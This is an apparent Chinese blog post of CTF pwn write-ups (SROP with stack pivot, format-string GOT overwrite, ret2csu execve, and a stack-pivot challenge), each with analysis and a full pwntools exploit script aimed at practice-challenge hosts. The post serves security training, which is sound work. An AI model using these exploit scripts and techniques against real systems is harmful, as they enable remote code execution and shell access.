PWN练习---Stack_2
目录
- srop
- 源码
- 分析
- exp
- putsorsys
- 源码
- 分析
- exp
- ret2csu_1
- 源码
- 分析
- exp
- traveler
- 源码
- 分析
- exp
srop
题源:[NewStarCTF 2023 公开赛道]srop
考点:SROP + 栈迁移
源码
首先从bss段利用 syscall 调用 write 读出数据信息,然后调用 syscall-read向栈中rbp-0x30 位置读入数据,最多0x300字节。
[Tips:观察到调用 sys_read和sys_weite 时候,eax都是0,并且 rcx 被赋值为 size 部分。则猜测 rdi被当作 rax 使用,rsi,rdx,rcx 分别赋值三个参数。]
分析
- 利用栈溢出进行栈迁移将rbp寄存器转到bss段高地址。
- 然后在返回地址处填写程序调用 syscall-read 处起始地址,用于向rbp-0x30地址写入shell,实现向bss地址读入数据(二次输入)。
- 接着填充0x30垃圾数据覆盖到 rbp,rip地址利用syscall触发 sigreturn 。
- 最后布置栈中寄存器的值,调用execve(/bin/sh,0,0)执行shell。
exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn_1')
#io = remote('node5.buuoj.cn',27296)
io = process('./pwn_1')
pop_rdi = 0x401203lea = 0x401171 # lea rax,[rbp-0x30] != leave bss = 0x404050 + 0x300
io.recvuntil(b'welcome to srop!\n')
syscall = elf.symbols['syscall']frame = SigreturnFrame() # execve(/bin/sh,0,0)
frame.rdi = 59 # "rax" = 0x3b
frame.rsi = bss - 0x30 # /bin/sh 填写地址为 rbp-0x30。====> "rdi"
frame.rdx = 0 # "rsi"
frame.rcx = 0 # "rdx"
frame.rsp = bss + 0x38
frame.rip = syscall io.send(b'a'*0x30 + p64(bss) + p64(lea))
io.send(b'/bin/sh\x00' + b'a'*0x30 + flat(pop_rdi,0xf,syscall) + flat(frame))# shell + buf + srop + syscall + framme [rdi===>"rax"]
io.interactive()
putsorsys
题源:[NewStarCTF 2023 公开赛道]puts or system?
考点:64位fmt + got篡改
源码
存在格式化字符串漏洞,并且注意到已经存在“/bin/sh”参数。
分析
程序存在多次格式化字符串漏洞。
Step1:格式化字符串漏洞(%s + puts_got)泄露puts函数真实地址,利用附件 libc.so 获取 system 函数地址。
Step2:注意到每一次输入后,调用puts函数,并且把 /bin/sh 作为参数,可以再次利用格式化字符串漏洞 将 puts_got 篡改为 system 地址,构造 system(/bin/sh) 获取shell。
exp
#kali打不通...,Xubuntu会断(半通)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')#p =process('./putsorsys')
p =remote('node5.buuoj.cn',26885)
elf =ELF('./putsorsys')
libc =ELF('./libc.so.6')got_addr =elf.got['puts']
p.sendlineafter(b'(0/1)\n',b'1')
payload =b'%9$sAAAA' +p64(got_addr) #AAAA对齐(4+4=8) %s泄露指针指向内存的数据
p.sendafter(b"What's it\n",payload)
p.recvuntil(b'There is my gift:\n')puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))p.sendlineafter(b'(0/1)\n',b'1')payload =fmtstr_payload(8, {got_addr:sys_addr})
p.sendlineafter(b"What's it\n",payload)
p.interactive()
ret2csu_1
题源:[NewStarCTF 2022 公开赛道]ret2csu1
考点:ret2csu-basic + execve函数使用
源码
分析
首先程序存在栈溢出,可以覆盖返回地址。并且给出了后门函数,但是直接转到后门函数并没有任何作用,注意到 0x400648 地址调用了 syscall-execve ,可以利用 __libc_csu_init 函数中的gadget进行劫持。
先布置gadget并分配好寄存器参数,然后劫持函数执行 execve(/bin/cat,/bin/cat/flag,0) 即可获取flag。查看__libc_csu_init 的汇编代码得到结论:
r13d,r14,r15寄存器的值分别可以被复制到x86-64位程序前三个寄存器 edi,rsi,rdx中,可以构造 execve函数的三个参数。
(虽然r13只有后八字节复制给了edi,但是经过调试发现rdi前八个字节是0,因此等同于 mov r13,rdi。)
同时,注意到存在/bin/cat,/flag字符串,因此构造execve(/bin/cat,/bin/cat/flag,0)
execve(const char *filename, char *const argv[], char *const envp[]);
filename:包含准备载入当前进程空间的新程序的路径名。既可以是绝对路径,又可以是相对路径。
argv[ ] :指定了传给新进程的命令行参数,该数组对应于c语言main函数的argv参数数组,格式也相同,argv[0]对应命令名,通常情况下该值与filename中的basename(就是绝对路径的最后一个)相同。
envp[ ]:最后一个参数envp指定了新程序的环境列表。参数envp对应于新程序的environ数组。
图中第二部分call指令:将r12+rbx*8 的结果作为地址来调用。
布置寄存器参数:
rbx:由于第二部分mov,call下面存在add,cmp指令。如果rbx+1 != rbp,那么将会跳转,因此将rbx赋值为0。rbp:赋值为1,即可避免跳转。
r12:需要填充 数据为0x400648 的地址 来进行调用execve。发现:
.data:0000000000601068 48 06 40 00 00 00 00 00 gift3 dq 400648h
.data:0000000000601068 _data ends
.data:0000000000601068
因此赋值为0x601068。
【Tip:不能直接填0x400648,类似于二级跳转。例如调用read函数时也需要填充read的got地址而不是plt地址】
r12,r13,r14分别赋值 0x4007BB,0x601050,0
exp
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./ret2csu-1')
offset = 0x28
io = remote('node5.buuoj.cn',27959)
#io = process('./ret2csu-1')
pop_6 = 0x40072a
mov_3 = 0x400710p = b'a'*offset + p64(pop_6) + p64(0)+p64(1) + p64(0x601068)
p += p64(0x4007BB) +p64(0x601050) + p64(0) + p64(mov_3)# execve(/bin/cat,/bin/cat/flag,0)
io.sendafter(b'!\n',p)
io.interactive()
traveler
题源:[VNCTF2023]Traveler
考点:栈迁移(+抬栈)
坑点:bss段需要足够高地址才行。
源码
分析
思路1:第一次栈溢出调用向栈中填充数据的read功能代码,fake_rbp填充为bss段地址,然后第二次利用已有的system构造shell,new-fake_rbp填充为bss-0x28地址,再加上leave使得程序回调执行shell。(注意leave后rsp地址为rbp+8)
思路2:system函数的参数填充在第二次输入的bss段,亦可触发。
exp
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
io = remote('node5.buuoj.cn',29868)
#io = process('./traveler')
offset = 0x20
elf = ELF('./traveler')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']main = elf.sym['main']leave = 0x401253
bss_1 = 0x404800 #本地打通的bss地址
bss_2 = 0x404d00 # 远程打通bss地址
pop_rdi = 0x4012c3
ret = 0x40101a
read = 0x401216
p1 = b'a'*offset + p64(bss_2) + p64(read)
io.sendafter(b'u?\n',p1)
io.sendafter(b'life?\n',b'a')system = elf.sym['system']
bin = bss_2 - 0x8
p2 = p64(pop_rdi) + p64(bin) + p64(system) + b'/bin/sh\x00' + p64(bss_2-0x28) + p64(leave) #思路1
io.send(p2)
io.sendafter(b'life?\n',b'a') #思路2/bin/sh\x00io.interactive()
相关文章:
PWN练习---Stack_2
目录 srop源码分析exp putsorsys源码分析exp ret2csu_1源码分析exp traveler源码分析exp srop 题源:[NewStarCTF 2023 公开赛道]srop 考点:SROP 栈迁移 源码 首先从bss段利用 syscall 调用 write 读出数据信息,然后调用 syscall-read向栈中…...
springCloudAlibaba整合log4j2
文章目录 简介log4j2概述log4j2在springCloudAlibaba中的使用排除依赖引入log4j2依赖添加log4j配置文件修改项目配置文件中添加配置 对spring-cloud-alibaba相关组件比较感兴趣的小伙伴,可以看下spring-cloud-alibaba 练习项目 简介 日志主要是记录系统发生的动作&…...
你是如何克服编程学习中的挫折感的
一:心态调整 分解任务:将大的编程任务分解成小的可管理的部分,逐步完成每个部分,逐渐提升自信心。 接受挑战:挑战自己解决一些难题,这样可以提高技能并增强成就感。 寻找资源:利用网络资源、教…...
C++观察者模式:订阅博主~
目录 观察者模式步骤例子:订阅博主UML图1:定义观察者接口2:定义被观察者接口3:创建具体观察者类4:创建具体被观察者类5:使用执行结果 观察者模式 观察者模式允许我们定义一种订阅机制,可在对象…...
1-安装Elasticsearch
支持一览表 | Elastic 未完待续...
EmguCV学习笔记 VB.Net 4.2 二值化
版权声明:本文为博主原创文章,转载请在显著位置标明本文出处以及作者网名,未经作者允许不得用于商业目的。 教程VB.net版本请访问:EmguCV学习笔记 VB.Net 目录-CSDN博客 教程C#版本请访问:EmguCV学习笔记 C# 目录-CSD…...
Spark大数据分析案例
目录 案例概述环境搭建1. Spark单机环境2. Spark集群环境 数据集数据预处理 Spark作业编写提交Spark作业 数据可视化可能遇到的问题及解决方法结论 案例概述 本案例将介绍如何在单机和集群环境下使用Apache Spark进行大数据分析,最终使用Python实现数据的可视化。我…...
【数据结构】关于Java对象比较,以及优先级队列的大小堆创建你了解多少???
前言: 🌟🌟Hello家人们,这期讲解对象的比较,以及优先级队列堆,希望你能帮到屏幕前的你。 🌈上期博客在这里:http://t.csdnimg.cn/MSex7 🌈感兴趣的小伙伴看一看小编主页&…...
HQChart使用教程101-创建内置键盘精灵
HQChart使用教程101-创建内置键盘精灵 键盘精灵步骤1. 创建键盘精灵实例2. 设置事件回调3. 初始化键盘精灵4. 设置码表数据5. 监听"keydown","mousedown" 交流QQ群HQChart代码地址键盘精灵源码 完整实例 键盘精灵 键盘精灵是一种便捷操作软件的功能工具&a…...
nginx基础配置
1. https配置 首先在nginx.conf中配置https 2. 重定向 rewrite ^/(.*)$ https://www.sxl1.com/$1 permanent;3. 自动索引 autoindex on;4. 缓存 Nginx expire缓存配置: 缓存可以降低网站带宽,加速用户访问location ~ .*\.(gif|jpg|png)$ {expires 365d;roo…...
怿星科技与您相约——2024 Testing Expo
汽车测试及质量监控博览会(中国)Testing Expo China-Automotive 怿星科技展位路线 届时欢迎莅临2057号展台!...
mac本地搭建docker+k8s步骤
概览: * kubectl安装 * minikube安装 * dashboard安装 主机配置: * mac M2 (arm架构) 服务及版本概览: 服务名称版本 kubectl v1.29.2 Kubernetes v1.30.0 kicbase v0.0.44 dashboard v2.7.0 docker 26.…...
JS DOM、点击事件
JS DOM 加载事件onload js代码执行的时候,需要html&css的支持 onload在页面加载完之后执行 dom:用JS对html标签进行增删改查 元素节点获取 var name document.getElementById("userName"); var inputs document.getElementsByTagNam…...
长短期记忆网络(LSTM)预测模型及其Python和MATLAB实现
## 一、背景 长短期记忆(Long Short-Term Memory, LSTM)网络是由 Sepp Hochreiter 和 Jrgen Schmidhuber 在 1997 年提出的一种特殊的循环神经网络(RNN)结构。LSTM 旨在解决传统 RNN 在处理长序列数据时常见的梯度消失和梯度爆炸…...
C语言——操作符详解
目录 1.操作符的分类 2.原码、反码和补码 3.移位操作符 3.1 左移操作符 3.2 右移操作符 4.位操作符 4.1 按位与& 4.2 按位或| 4.3 按位异或^ 编辑 4.4 按位取反~ 4.5 应用题 4.5.1 题目:不能创建临时变量,实现两个整数的交换 4.5.2 …...
【Linux】内核全量函数添加日志打印摸索
1、操作系统在空载时要把函数调用次数非常多的注释掉,这里打印时不能带进程名称,高执行概率函数不同进程执行到的概率也很高,不然操作业务会增加卡死的概率; 2、卡死一般是调用次数太多导致,会卡住操作系统十多秒&…...
24/8/17算法笔记 CQL算法离线学习
离线学习:不需要更新数据 CQL(Conservative Q-Learning)算法是一种用于离线强化学习的方法,它通过学习一个保守的Q函数来解决标准离线RL方法可能由于数据集和学习到的策略之间的分布偏移而导致的过高估计问题 。CQL算法的核心思想…...
C++第十一弹 -- STL之List的剖析与使用
文章索引 前言1. list的介绍2 list的使用2.1 list的构造函数2.2 iterator的使用2.3 list capacity2.4 list element access2.5 list modifiers 3. list的迭代器失效4. list与vector的对比总结 前言 本篇我们旨在探讨对于STL中list的使用, 下一篇我们将会对list进行底层剖析以及…...
物流快递外卖管理平台系统-计算机毕设Java|springboot实战项目
🍊作者:计算机毕设匠心工作室 🍊简介:毕业后就一直专业从事计算机软件程序开发,至今也有8年工作经验。擅长Java、Python、微信小程序、安卓、大数据、PHP、.NET|C#、Golang等。 擅长:按照需求定制化开发项目…...
开源BaaS 平台介绍
以下是几款常见的开源后端平台,它们提供了用户管理、权限验证、文件存储、API 管理等类似的后端功能。 1. Parse Server 简介: Parse 是一个非常流行的开源后端服务平台,它最初由 Facebook 开发,后来开源。它支持用户管理、数据存储、文件存…...
分享一个基于python爬虫的“今日头条”新闻数据分析可视化系统(源码、调试、LW、开题、PPT)
💕💕作者:计算机源码社 💕💕个人简介:本人 八年开发经验,擅长Java、Python、PHP、.NET、Node.js、Android、微信小程序、爬虫、大数据、机器学习等,大家有这一块的问题可以一起交流&…...
QT自定义信号槽
1.自定义信号槽 使用connect()可以让我们连接系统提供的信号和槽,同时也可以自定义信号槽。 例如以学生和老师构建类同时当老师触发信号下课同学收到信号执行“吃饭”这一动作代码示例 #include "SignalAndSlot.h" //Teacher Student 总框架…...
one-shot 序列图像红外小目标分割
one-shot 序列图像红外小目标分割 IEEE TRANSACTIONS ON GEOSCIENCE AND REMOTE SENSING 代码还未开源 GitHub - D-IceIce/one-shot-IRSTS few-shot:利用少量标注样本进行学习 one-shot: 属于few-shot的特殊情况,只用一个样本进行学习 zero-shot&am…...
JavaScript 单线程防阻塞的原理
JavaScript 是一种单线程语言,这意味着它一次只能执行一个任务。这种设计可能会导致一些问题,比如当遇到耗时的操作时,整个程序可能会被阻塞。为了解决这个问题,JavaScript 使用了事件循环和回调函数的机制,实现了非阻塞式的异步操作。 事件循环 JavaScript 有一个事件队列,用…...
Shell脚本发送邮件的详细步骤与配置方法?
Shell脚本发送邮件的进阶技巧?怎么配置Shell脚本发信? 使用Shell脚本发送邮件是一种高效的自动化手段,特别是在需要定期发送报告、通知或警告信息时。AokSend将详细介绍Shell脚本发送邮件的步骤与配置方法,帮助您更好地掌握这一技…...
如何把Phalcon 集成到PhpStorm里面
一 背景 按照上一篇文章里面写的Phalcon 创建项目过程中的一些坑, 最终我们在终端可以基于Phalcon命令创建对应的开发项目。但在这个过程中,存在一个问题:那就是写代码的时候,发现Phalcon对应的依赖提示都没有,如下: 从上面这个截图来看,就能发现,Phalcon的啥…...
python从入门到精通:循环语句
目录 前言 1、while循环的基础语法 2、while循环的嵌套 3、for循环的基础语法 range语句: for循环临时变量作用域: 4、for循环的嵌套 5、循环中断:break和continue 前言 循环普遍存在于日常生活中,同样,在程序中…...
Codeforces Round 965 (Div. 2)
前言 有人在过七夕,我在打 cf ,还有某人独自一人在学校机房,凌晨一点骑上共享单车回宿舍欣赏沿途的秋风扫落叶。 Standings:2166 题目链接:Dashboard - Codeforces Round 965 (Div. 2) - Codeforces A. Find K Distin…...
Win10下载安装Mysql服务
Win10下载安装MySQL 一、官网下载MySQL 1.官网地址: https://www.mysql.com/ 2.在官网首页拉到最下方,点击MySQL Community Server: 3.根据个人电脑的操作系统选择,此处以Windows x64为例,选择第2个,点击…...
MVVM(Model-View-ViewModel)架构模式
在Android开发中,MVVM(Model-View-ViewModel)架构模式已经成为构建可维护和可扩展应用程序的重要选择。MVVM模式通过分离视图(View)、模型(Model)和视图模型(ViewModel)来…...
公司做网站主机是什么用途/2022年近期重大新闻事件
首先,让我们简单介绍一下百度公司的文心一言。文心一言是百度公司推出的一项文本生成工具,它可以根据给定的主题或关键词生成一句简短而富有启发性的文字。在我们的加密和解密方法中,我们将利用文心一言的特点来生成随机的字符串,…...
广西建设厅官网站/网络营销常见术语
续Struts2_源码学习_init() Logging System 首先,我们可以先看一下init.initLogging(config)这个操作,查看源码你会发现这里用了反射、伪单例模式(仔细看源码其实不符合单例模式的要求,可以创建多个实例)、工厂模式、…...
模板建站广团/南宁seo网络推广
来源 :公众号“TechZone”,作者:HarrisWilde「本文目录」结构体的声明与定义声明定义访问结构体成员初始化结构体对齐结构体嵌套结构体数组结构体指针传递结构体信息传递结构体变量传递指向结构体变量的指针动态申请结构体实战:建…...
怎样进行公司网站建设/百度如何精准搜索
迭代器模式一、迭代器模式的概念二、迭代器模式使用场景三、迭代器模式构建方法1、迭代器抽象类(Iterator)2、迭代器具体实现类(ConcreteIterator)3、容器抽象类(Aggregate)4、容器具体实现类(c…...
交流平台网站架构怎么做/如何提升网站seo排名
回溯 思路用一列表存储组合的结果,长度够给定的长度,保存到最终的集合中,并返回。该查询位置换另一位数。 def combine_list(arr,k):path,result [],[]def trackback(start,arr,path,k):if len(path) k:result.append(path[:])returnfor i in range(s…...
网站架构模式用哪种/中国突然宣布一重磅消息
什么是语法解析? 在自然语言学习过程中,每个人一定都学过语法,例如句子可以用主语、谓语、宾语来表示。在自然语言的处理过程中,有许多应用场景都需要考虑句子的语法,因此研究语法解析变得非常重要。语法解析有两个主要…...